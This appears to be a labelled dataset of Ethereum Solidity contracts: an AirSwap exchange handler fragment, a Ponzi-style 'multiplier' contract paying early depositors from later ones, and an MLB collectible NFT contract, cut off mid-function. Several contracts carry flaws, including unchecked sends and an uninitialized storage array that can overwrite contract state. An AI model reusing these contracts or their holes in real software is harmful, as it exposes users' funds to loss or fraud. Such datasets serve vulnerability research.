uint256 takerAmount;
uint256 expiration;
uint256 nonce;
uint8 v;
bytes32 r;
bytes32 s;
}
constructor(
address _exchange,
address _weth,
address totlePrimary,
address errorReporter
)
ExchangeHandler(totlePrimary, errorReporter)
public
{
require(_exchange != address(0x0));
require(_weth != address(0x0));
exchange = AirSwap(_exchange);
weth = WETH(_weth);
}
function getAmountToGive(
OrderData data
)
public
view
whenNotPaused
onlyTotle
returns (uint256 amountToGive)
{
return data.takerAmount;
}
function staticExchangeChecks(
OrderData data
)
public
view
whenNotPaused
onlyTotle
returns (bool checksPassed)
{
bytes32 orderHash;
bytes32 prefixedHash;
(orderHash, prefixedHash) = getOrderHash(data);
return (
data.takerAddress != data.makerAddress &&
data.expiration >= block.timestamp &&
ecrecover(prefixedHash, data.v, data.r, data.s) == data.makerAddress &&
!exchange.fills(orderHash) &&
data.takerAddress == address(this) &&
Utils.tokenAllowanceAndBalanceSet(data.makerAddress, data.makerToken, data.makerAmount, address(exchange))
);
}
function performBuyOrder(
OrderData data,
uint256 amountToGiveForOrder
)
public
payable
whenNotPaused
onlyTotle
returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder)
{
if (data.takerAmount != amountToGiveForOrder || msg.value != data.takerAmount) {
msg.sender.transfer(msg.value);
return (0,0);
}
fillAndValidate(data);
if (!ERC20SafeTransfer.safeTransfer(data.makerToken, msg.sender, data.makerAmount)) {
errorReporter.revertTx("AirSwap: Unable to transfer bought tokens to primary");
}
return (data.takerAmount, data.makerAmount);
}
function performSellOrder(
OrderData data,
uint256 amountToGiveForOrder
)
public
whenNotPaused
onlyTotle
returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder)
{
if (data.takerAmount != amountToGiveForOrder) {
errorReporter.revertTx("AirSwap: takerAmount != amountToGiveForOrder");
}
if (data.makerToken != address(weth)) {
return (0,0);
}
approveAddress(address(exchange), data.takerToken);
fillAndValidate(data);
weth.withdraw(data.makerAmount);
msg.sender.transfer(data.makerAmount);
return (data.takerAmount, data.makerAmount);
}
function getOrderHash(
OrderData data
)
internal
pure
returns (bytes32 orderHash, bytes32 prefixedHash)
{
orderHash = keccak256(
data.makerAddress,
data.makerAmount,
data.makerToken,
data.takerAddress,
data.takerAmount,
data.takerToken,
data.expiration,
data.nonce
);
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
prefixedHash = keccak256(prefix, orderHash);
}
function fillAndValidate(OrderData data) internal {
exchange.fill.value(msg.value)(
data.makerAddress,
data.makerAmount,
data.makerToken,
data.takerAddress,
data.takerAmount,
data.takerToken,
data.expiration,
data.nonce,
data.v,
data.r,
data.s
);
bytes32 orderHash;
(orderHash, ) = getOrderHash(data);
if (!exchange.fills(orderHash)) {
errorReporter.revertTx("AirSwap: Order failed validation after execution");
}
}
function getSelector(bytes4 genericSelector) public pure returns (bytes4) {
if (genericSelector == getAmountToGiveSelector) {
return bytes4(keccak256("getAmountToGive((address,address,address,address,uint256,uint256,uint256,uint256,uint8,bytes32,bytes32))"));
} else if (genericSelector == staticExchangeChecksSelector) {
return bytes4(keccak256("staticExchangeChecks((address,address,address,address,uint256,uint256,uint256,uint256,uint8,bytes32,bytes32))"));
} else if (genericSelector == performBuyOrderSelector) {
return bytes4(keccak256("performBuyOrder((address,address,address,address,uint256,uint256,uint256,uint256,uint8,bytes32,bytes32),uint256)"));
} else if (genericSelector == performSellOrderSelector) {
return bytes4(keccak256("performSellOrder((address,address,address,address,uint256,uint256,uint256,uint256,uint8,bytes32,bytes32),uint256)"));
} else {
return bytes4(0x0);
}
}
function() public payable whenNotPaused {
uint256 size;
address sender = msg.sender;
assembly {
size := extcodesize(sender)
}
if (size == 0) {
errorReporter.revertTx("EOA cannot send ether to primary fallback");
}
}
} | 1 | 2,787 |
pragma solidity ^0.4.25;
contract BestMultiplierV2 {
struct Deposit {
address depositor;
uint deposit;
uint payout;
}
Deposit[] public queue;
mapping (address => uint) public depositNumber;
uint public currentReceiverIndex;
uint public totalInvested;
address public support = msg.sender;
uint public amountForSupport;
function () public payable {
if(msg.value > 0){
require(gasleft() >= 250000);
require(msg.value >= 0.01 ether && msg.value <= calcMaxDeposit());
require(depositNumber[msg.sender] == 0);
queue.push( Deposit(msg.sender, msg.value, 0) );
depositNumber[msg.sender] = queue.length;
totalInvested += msg.value;
if (amountForSupport < 5 ether) {
amountForSupport += msg.value / 10;
support.transfer(msg.value / 10);
}
pay();
}
}
function pay() internal {
uint money = address(this).balance;
uint multiplier = calcMultiplier();
for (uint i = 0; i < queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
uint totalPayout = dep.deposit * multiplier / 100;
uint leftPayout;
if (totalPayout > dep.payout) {
leftPayout = totalPayout - dep.payout;
}
if (money >= leftPayout) {
if (leftPayout > 0) {
dep.depositor.send(leftPayout);
money -= leftPayout;
}
depositNumber[dep.depositor] = 0;
delete queue[idx];
} else{
dep.depositor.send(money);
dep.payout += money;
break;
}
if (gasleft() <= 55000) {
break;
}
}
currentReceiverIndex += i;
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
function calcMaxDeposit() public view returns (uint) {
if (totalInvested <= 100 ether) {
return 2.5 ether;
} else if (totalInvested <= 250 ether) {
return 5 ether;
} else if (totalInvested <= 500 ether) {
return 10 ether;
} else if (totalInvested <= 1000 ether) {
return 15 ether;
} else {
return 20 ether;
}
}
function calcMultiplier() public view returns (uint) {
if (totalInvested <= 100 ether) {
return 130;
} else if (totalInvested <= 250 ether) {
return 125;
} else if (totalInvested <= 500 ether) {
return 120;
} else if (totalInvested <= 1000 ether) {
return 110;
} else {
return 105;
}
}
} | 0 | 1,114 |
pragma solidity ^0.4.23;
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract ERC721Basic {
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
contract ERC721BasicToken is ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
bytes4 public constant ERC721_RECEIVED = 0x150b7a02;
mapping (uint256 => address) internal tokenOwner;
mapping (uint256 => address) internal tokenApprovals;
mapping (address => uint256) internal ownedTokensCount;
mapping (address => mapping (address => bool)) internal operatorApprovals;
modifier onlyOwnerOf(uint256 _tokenId) {
require (ownerOf(_tokenId) == msg.sender);
_;
}
modifier canTransfer(uint256 _tokenId) {
require (isApprovedOrOwner(msg.sender, _tokenId));
_;
}
function balanceOf(address _owner) public view returns (uint256) {
require (_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require (owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require (_to != owner);
require (msg.sender == owner || isApprovedForAll(owner, msg.sender));
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require (_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
require (_from != address(0));
require (_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
canTransfer(_tokenId)
{
transferFrom(_from, _to, _tokenId);
require (checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
function _mint(address _to, uint256 _tokenId) internal {
require (_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require (ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require (tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require (ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(
msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Receiver {
bytes4 public constant ERC721_RECEIVED = 0x150b7a02;
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
contract ERC721Holder is ERC721Receiver {
function onERC721Received(
address,
address,
uint256,
bytes
)
public
returns(bytes4)
{
return ERC721_RECEIVED;
}
}
contract ERC721Token is ERC721, ERC721BasicToken {
string internal name_;
string internal symbol_;
mapping(address => uint256[]) internal ownedTokens;
mapping(uint256 => uint256) internal ownedTokensIndex;
uint256[] internal allTokens;
mapping(uint256 => uint256) internal allTokensIndex;
string internal tokenURIBase;
function tokenURI(uint256 _tokenId) public view returns (string) {
require (exists(_tokenId));
return tokenURIBase;
}
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256)
{
require (_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require (_index < totalSupply());
return allTokens[_index];
}
function _setTokenURIBase(string _uri) internal {
tokenURIBase = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function name() public view returns (string) {
return name_;
}
function symbol() public view returns (string) {
return symbol_;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
bytes4 constant InterfaceSignature_ERC165 = 0x01ffc9a7;
bytes4 constant InterfaceSignature_ERC721Enumerable = 0x780e9d63;
bytes4 constant InterfaceSignature_ERC721Metadata = 0x5b5e139f;
bytes4 constant InterfaceSignature_ERC721 = 0x80ac58cd;
bytes4 public constant InterfaceSignature_ERC721Optional =- 0x4f558e79;
function supportsInterface(bytes4 _interfaceID) external view returns (bool)
{
return ((_interfaceID == InterfaceSignature_ERC165)
|| (_interfaceID == InterfaceSignature_ERC721)
|| (_interfaceID == InterfaceSignature_ERC721Enumerable)
|| (_interfaceID == InterfaceSignature_ERC721Metadata));
}
function implementsERC721() public pure returns (bool) {
return true;
}
}
contract LSNFT is ERC721Token {
event Created(address owner, uint256 tokenId);
struct NFT {
uint256 attributes;
uint256 currentGameCardId;
uint256 mlbGameId;
uint256 playerOverrideId;
uint256 mlbPlayerId;
uint256 earnedBy;
uint256 assetDetails;
uint256 isAttached;
}
NFT[] allNFTs;
function isLSNFT() public view returns (bool) {
return true;
}
function _createNFT (
uint256[5] _nftData,
address _owner,
uint256 _isAttached)
internal
returns(uint256) {
NFT memory _lsnftObj = NFT({
attributes : _nftData[1],
currentGameCardId : 0,
mlbGameId : _nftData[2],
playerOverrideId : _nftData[3],
assetDetails: _nftData[0],
isAttached: _isAttached,
mlbPlayerId: _nftData[4],
earnedBy: 0
});
uint256 newLSNFTId = allNFTs.push(_lsnftObj) - 1;
_mint(_owner, newLSNFTId);
emit Created(_owner, newLSNFTId);
return newLSNFTId;
}
function _getAttributesOfToken(uint256 _tokenId) internal returns(NFT) {
NFT storage lsnftObj = allNFTs[_tokenId];
return lsnftObj;
}
function _approveForSale(address _owner, address _to, uint256 _tokenId) internal {
address owner = ownerOf(_tokenId);
require (_to != owner);
require (_owner == owner || isApprovedForAll(owner, _owner));
if (getApproved(_tokenId) != address(0) || _to != address(0)) {
tokenApprovals[_tokenId] = _to;
emit Approval(_owner, _to, _tokenId);
}
}
}
contract OperationalControl {
event ContractUpgrade(address newContract);
address public managerPrimary;
address public managerSecondary;
address public bankManager;
mapping(address => uint8) public otherManagers;
bool public paused = false;
bool public error = false;
modifier onlyManager() {
require (msg.sender == managerPrimary || msg.sender == managerSecondary);
_;
}
modifier onlyBanker() {
require (msg.sender == bankManager);
_;
}
modifier anyOperator() {
require (
msg.sender == managerPrimary ||
msg.sender == managerSecondary ||
msg.sender == bankManager ||
otherManagers[msg.sender] == 1
);
_;
}
modifier onlyOtherManagers() {
require (otherManagers[msg.sender] == 1);
_;
}
function setPrimaryManager(address _newGM) external onlyManager {
require (_newGM != address(0));
managerPrimary = _newGM;
}
function setSecondaryManager(address _newGM) external onlyManager {
require (_newGM != address(0));
managerSecondary = _newGM;
}
function setBanker(address _newBK) external onlyManager {
require (_newBK != address(0));
bankManager = _newBK;
}
function setOtherManager(address _newOp, uint8 _state) external onlyManager {
require (_newOp != address(0));
otherManagers[_newOp] = _state;
}
modifier whenNotPaused() {
require (!paused);
_;
}
modifier whenPaused {
require (paused);
_;
}
modifier whenError {
require (error);
_;
}
function pause() external onlyManager whenNotPaused {
paused = true;
}
function unpause() public onlyManager whenPaused {
paused = false;
}
function hasError() public onlyManager whenPaused {
error = true;
}
function noError() public onlyManager whenPaused {
error = false;
}
}
contract CollectibleBase is LSNFT {
event AssetUpdated(uint256 tokenId);
mapping (uint256 => mapping (uint32 => uint256) ) public nftTeamIdToSequenceIdToCollectible;
mapping (uint256 => uint32) public nftTeamIndexToCollectibleCount;
mapping(uint256 => uint256[]) public nftCollectibleAttachments;
mapping(uint256 => uint256) public generationSeasonController;
mapping(uint256 => uint256) public generationSeasonDict;
function _updatePlayerOverrideId(uint256 _tokenId, uint256 _newPlayerOverrideId) internal {
NFT storage lsnftObj = allNFTs[_tokenId];
lsnftObj.playerOverrideId = _newPlayerOverrideId;
allNFTs[_tokenId] = lsnftObj;
emit AssetUpdated(_tokenId);
}
function _createNFTCollectible(
uint8 _teamId,
uint256 _attributes,
address _owner,
uint256 _isAttached,
uint256[5] _nftData
)
internal
returns (uint256)
{
uint256 generationSeason = (_attributes % 1000000).div(1000);
require (generationSeasonController[generationSeason] == 1);
uint32 _sequenceId = getSequenceId(_teamId);
uint256 newNFTCryptoId = _createNFT(_nftData, _owner, _isAttached);
nftTeamIdToSequenceIdToCollectible[_teamId][_sequenceId] = newNFTCryptoId;
nftTeamIndexToCollectibleCount[_teamId] = _sequenceId;
return newNFTCryptoId;
}
function getSequenceId(uint256 _teamId) internal returns (uint32) {
return (nftTeamIndexToCollectibleCount[_teamId] + 1);
}
function _updateGenerationSeasonFlag(uint256 _season, uint8 _value) internal {
generationSeasonController[_season] = _value;
}
function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalItems = balanceOf(_owner);
uint256 resultIndex = 0;
uint256 _assetId;
for (_assetId = 0; _assetId < totalItems; _assetId++) {
result[resultIndex] = tokenOfOwnerByIndex(_owner,_assetId);
resultIndex++;
}
return result;
}
}
function _updateMLBPlayerId(uint256 _tokenId, uint256 _newMLBPlayerId) internal {
NFT storage lsnftObj = allNFTs[_tokenId];
lsnftObj.mlbPlayerId = _newMLBPlayerId;
allNFTs[_tokenId] = lsnftObj;
emit AssetUpdated(_tokenId);
}
function _updateEarnedBy(uint256 _tokenId, uint256 _earnedBy) internal {
NFT storage lsnftObj = allNFTs[_tokenId];
lsnftObj.earnedBy = _earnedBy;
allNFTs[_tokenId] = lsnftObj;
emit AssetUpdated(_tokenId);
}
}
contract CollectibleMinting is CollectibleBase, OperationalControl {
uint256 public rewardsRedeemed = 0;
uint256[31] public promoCreatedCount;
uint256 public seedCreatedCount;
bool public isBatchSupported = true;
mapping (address => bool) public contractsApprovedList;
function updateBatchSupport(bool _flag) public onlyManager {
isBatchSupported = _flag;
}
modifier canCreate() {
require (contractsApprovedList[msg.sender] ||
msg.sender == managerPrimary ||
msg.sender == managerSecondary);
_;
}
function addToApproveList(address _newAddress) public onlyManager {
require (!contractsApprovedList[_newAddress]);
contractsApprovedList[_newAddress] = true;
}
function removeFromApproveList(address _newAddress) public onlyManager {
require (contractsApprovedList[_newAddress]);
delete contractsApprovedList[_newAddress];
}
function createPromoCollectible(
uint8 _teamId,
uint8 _posId,
uint256 _attributes,
address _owner,
uint256 _gameId,
uint256 _playerOverrideId,
uint256 _mlbPlayerId)
external
canCreate
whenNotPaused
returns (uint256)
{
address nftOwner = _owner;
if (nftOwner == address(0)) {
nftOwner = managerPrimary;
}
if(allNFTs.length > 0) {
promoCreatedCount[_teamId]++;
}
uint32 _sequenceId = getSequenceId(_teamId);
uint256 assetDetails = uint256(uint64(now));
assetDetails |= uint256(_sequenceId)<<64;
assetDetails |= uint256(_teamId)<<96;
assetDetails |= uint256(_posId)<<104;
uint256[5] memory _nftData = [assetDetails, _attributes, _gameId, _playerOverrideId, _mlbPlayerId];
return _createNFTCollectible(_teamId, _attributes, nftOwner, 0, _nftData);
}
function createSeedCollectible(
uint8 _teamId,
uint8 _posId,
uint256 _attributes,
address _owner,
uint256 _gameId,
uint256 _playerOverrideId,
uint256 _mlbPlayerId)
external
canCreate
whenNotPaused
returns (uint256) {
address nftOwner = _owner;
if (nftOwner == address(0)) {
nftOwner = managerPrimary;
}
seedCreatedCount++;
uint32 _sequenceId = getSequenceId(_teamId);
uint256 assetDetails = uint256(uint64(now));
assetDetails |= uint256(_sequenceId)<<64;
assetDetails |= uint256(_teamId)<<96;
assetDetails |= uint256(_posId)<<104;
uint256[5] memory _nftData = [assetDetails, _attributes, _gameId, _playerOverrideId, _mlbPlayerId];
return _createNFTCollectible(_teamId, _attributes, nftOwner, 0, _nftData);
}
function createRewardCollectible (
uint8 _teamId,
uint8 _posId,
uint256 _attributes,
address _owner,
uint256 _gameId,
uint256 _playerOverrideId,
uint256 _mlbPlayerId)
external
canCreate
whenNotPaused
returns (uint256) {
address nftOwner = _owner;
if (nftOwner == address(0)) {
nftOwner = managerPrimary;
}
rewardsRedeemed++;
uint32 _sequenceId = getSequenceId(_teamId);
uint256 assetDetails = uint256(uint64(now));
assetDetails |= uint256(_sequenceId)<<64;
assetDetails |= uint256(_teamId)<<96;
assetDetails |= uint256(_posId)<<104;
uint256[5] memory _nftData = [assetDetails, _attributes, _gameId, _playerOverrideId, _mlbPlayerId];
return _createNFTCollectible(_teamId, _attributes, nftOwner, 0, _nftData);
}
function createETHCardCollectible (
uint8 _teamId,
uint8 _posId,
uint256 _attributes,
address _owner,
uint256 _gameId,
uint256 _playerOverrideId,
uint256 _mlbPlayerId)
external
canCreate
whenNotPaused
returns (uint256) {
address nftOwner = _owner;
if (nftOwner == address(0)) {
nftOwner = managerPrimary;
}
rewardsRedeemed++;
uint32 _sequenceId = getSequenceId(_teamId);
uint256 assetDetails = uint256(uint64(now));
assetDetails |= uint256(_sequenceId)<<64;
assetDetails |= uint256(_teamId)<<96;
assetDetails |= uint256(_posId)<<104;
uint256[5] memory _nftData = [assetDetails, _attributes, _gameId, _playerOverrideId, _mlbPlayerId];
return _createNFTCollectible(_teamId, _attributes, nftOwner, 2, _nftData);
}
}
contract SaleManager {
function createSale(uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _owner) external;
}
contract MLBNFT is CollectibleMinting {
address public newContractAddress;
string public constant MLB_Legal = "Major League Baseball trademarks and copyrights are used with permission of the applicable MLB entity. All rights reserved.";
uint32 public detachmentTime = 0;
bool public attachedSystemActive;
SaleManager public saleManagerAddress;
constructor() public {
paused = true;
managerPrimary = msg.sender;
managerSecondary = msg.sender;
bankManager = msg.sender;
name_ = "LucidSight-MLB-NFT";
symbol_ = "MLBCB";
}
function setSaleManagerAddress(address _saleManagerAddress) public onlyManager {
require (_saleManagerAddress != address(0));
saleManagerAddress = SaleManager(_saleManagerAddress);
}
modifier canTransfer(uint256 _tokenId) {
uint256 isAttached = checkIsAttached(_tokenId);
if(isAttached == 2) {
require (msg.sender == managerPrimary ||
msg.sender == managerSecondary ||
msg.sender == bankManager ||
otherManagers[msg.sender] == 1
);
updateIsAttached(_tokenId, 0);
} else if(attachedSystemActive == true && isAttached >= 1) {
require (msg.sender == managerPrimary ||
msg.sender == managerSecondary ||
msg.sender == bankManager ||
otherManagers[msg.sender] == 1
);
}
else {
require (isApprovedOrOwner(msg.sender, _tokenId));
}
_;
}
function setNewAddress(address _v2Address) external onlyManager {
require (_v2Address != address(0));
newContractAddress = _v2Address;
emit ContractUpgrade(_v2Address);
}
function getCollectibleDetails(uint256 _tokenId)
external
view
returns (
uint256 isAttached,
uint32 sequenceId,
uint8 teamId,
uint8 positionId,
uint64 creationTime,
uint256 attributes,
uint256 playerOverrideId,
uint256 mlbGameId,
uint256 currentGameCardId,
uint256 mlbPlayerId,
uint256 earnedBy,
uint256 generationSeason
) {
NFT memory obj = _getAttributesOfToken(_tokenId);
attributes = obj.attributes;
currentGameCardId = obj.currentGameCardId;
mlbGameId = obj.mlbGameId;
playerOverrideId = obj.playerOverrideId;
mlbPlayerId = obj.mlbPlayerId;
creationTime = uint64(obj.assetDetails);
sequenceId = uint32(obj.assetDetails>>64);
teamId = uint8(obj.assetDetails>>96);
positionId = uint8(obj.assetDetails>>104);
isAttached = obj.isAttached;
earnedBy = obj.earnedBy;
generationSeason = generationSeasonDict[(obj.attributes % 1000000) / 1000];
}
function unpause() public onlyManager {
super.unpause();
}
function getTeamId(uint256 _tokenId) external view returns (uint256) {
NFT memory obj = _getAttributesOfToken(_tokenId);
uint256 teamId = uint256(uint8(obj.assetDetails>>96));
return uint256(teamId);
}
function getPositionId(uint256 _tokenId) external view returns (uint256) {
NFT memory obj = _getAttributesOfToken(_tokenId);
uint256 positionId = uint256(uint8(obj.assetDetails>>104));
return positionId;
}
function getGameCardId(uint256 _tokenId) public view returns (uint256) {
NFT memory obj = _getAttributesOfToken(_tokenId);
return obj.currentGameCardId;
}
function checkIsAttached(uint256 _tokenId) public view returns (uint256) {
NFT memory obj = _getAttributesOfToken(_tokenId);
return obj.isAttached;
}
function getAbilitiesForCollectibleId(uint256 _tokenId) external view returns (uint256 ability) {
NFT memory obj = _getAttributesOfToken(_tokenId);
uint256 _attributes = uint256(obj.attributes);
ability = (_attributes % 1000);
}
function updateCurrentGameCardId(uint256 _gameCardNumber, uint256 _playerId) public whenNotPaused {
require (contractsApprovedList[msg.sender]);
NFT memory obj = _getAttributesOfToken(_playerId);
obj.currentGameCardId = _gameCardNumber;
if ( _gameCardNumber == 0 ) {
obj.isAttached = 0;
} else {
obj.isAttached = 1;
}
allNFTs[_playerId] = obj;
}
function addAttachmentToCollectible (
uint256 _tokenId,
uint256 _attachment)
external
onlyManager
whenNotPaused {
require (exists(_tokenId));
nftCollectibleAttachments[_tokenId].push(_attachment);
emit AssetUpdated(_tokenId);
}
function removeAllAttachmentsFromCollectible(uint256 _tokenId)
external
onlyManager
whenNotPaused {
require (exists(_tokenId));
delete nftCollectibleAttachments[_tokenId];
emit AssetUpdated(_tokenId);
}
function giftAsset(address _to, uint256 _tokenId) public whenNotPaused {
safeTransferFrom(msg.sender, _to, _tokenId);
}
function setTokenURIBase (string _tokenURI) public anyOperator {
_setTokenURIBase(_tokenURI);
}
function setPlayerOverrideId(uint256 _tokenId, uint256 _newOverrideId) public onlyManager whenNotPaused {
require (exists(_tokenId));
_updatePlayerOverrideId(_tokenId, _newOverrideId);
}
function updateGenerationStopTime(uint256 _season, uint8 _value ) public onlyManager whenNotPaused {
require (generationSeasonController[_season] == 1 && _value != 0);
_updateGenerationSeasonFlag(_season, _value);
}
function setGenerationSeasonController(uint256 _season) public onlyManager whenNotPaused {
require (generationSeasonController[_season] == 0);
_updateGenerationSeasonFlag(_season, 1);
}
function updateGenerationDict(uint256 _season, uint64 _value) public onlyManager whenNotPaused {
require (generationSeasonDict[_season] <= 1);
generationSeasonDict[_season] = _value;
}
function getPlayerId(uint256 _tokenId) external view returns (uint256 playerId) {
NFT memory obj = _getAttributesOfToken(_tokenId);
playerId = ((obj.attributes.div(100000000000000000)) % 1000);
}
function getAssetAttachment(uint256 _tokenId) external view returns (uint256[]) {
uint256[] _attachments = nftCollectibleAttachments[_tokenId];
uint256[] attachments;
for(uint i=0;i<_attachments.length;i++){
attachments.push(_attachments[i]);
}
return attachments;
}
function updateEarnedBy(uint256 _tokenId, uint256 _earnedBy) public onlyManager whenNotPaused {
require (exists(_tokenId));
_updateEarnedBy(_tokenId, _earnedBy);
}
function batchCreateAsset(
uint8[] _teamId,
uint256[] _attributes,
uint256[] _playerOverrideId,
uint256[] _mlbPlayerId,
address[] _to)
external
canCreate
whenNotPaused {
require (isBatchSupported);
require (_teamId.length > 0 && _attributes.length > 0 &&
_playerOverrideId.length > 0 && _mlbPlayerId.length > 0 &&
_to.length > 0);
uint256 assetDetails;
uint256[5] memory _nftData;
for(uint ii = 0; ii < _attributes.length; ii++){
require (_to[ii] != address(0) && _teamId[ii] != 0 && _attributes.length != 0 &&
_mlbPlayerId[ii] != 0);
assetDetails = uint256(uint64(now));
assetDetails |= uint256(getSequenceId(_teamId[ii]))<<64;
assetDetails |= uint256(_teamId[ii])<<96;
assetDetails |= uint256((_attributes[ii]/1000000000000000000000000000000000000000)-800)<<104;
_nftData = [assetDetails, _attributes[ii], 0, _playerOverrideId[ii], _mlbPlayerId[ii]];
_createNFTCollectible(_teamId[ii], _attributes[ii], _to[ii], 0, _nftData);
}
}
function batchCreateETHCardAsset(
uint8[] _teamId,
uint256[] _attributes,
uint256[] _playerOverrideId,
uint256[] _mlbPlayerId,
address[] _to)
external
canCreate
whenNotPaused {
require (isBatchSupported);
require (_teamId.length > 0 && _attributes.length > 0
&& _playerOverrideId.length > 0 &&
_mlbPlayerId.length > 0 && _to.length > 0);
uint256 assetDetails;
uint256[5] memory _nftData;
for(uint ii = 0; ii < _attributes.length; ii++){
require (_to[ii] != address(0) && _teamId[ii] != 0 && _attributes.length != 0 &&
_mlbPlayerId[ii] != 0);
assetDetails = uint256(uint64(now));
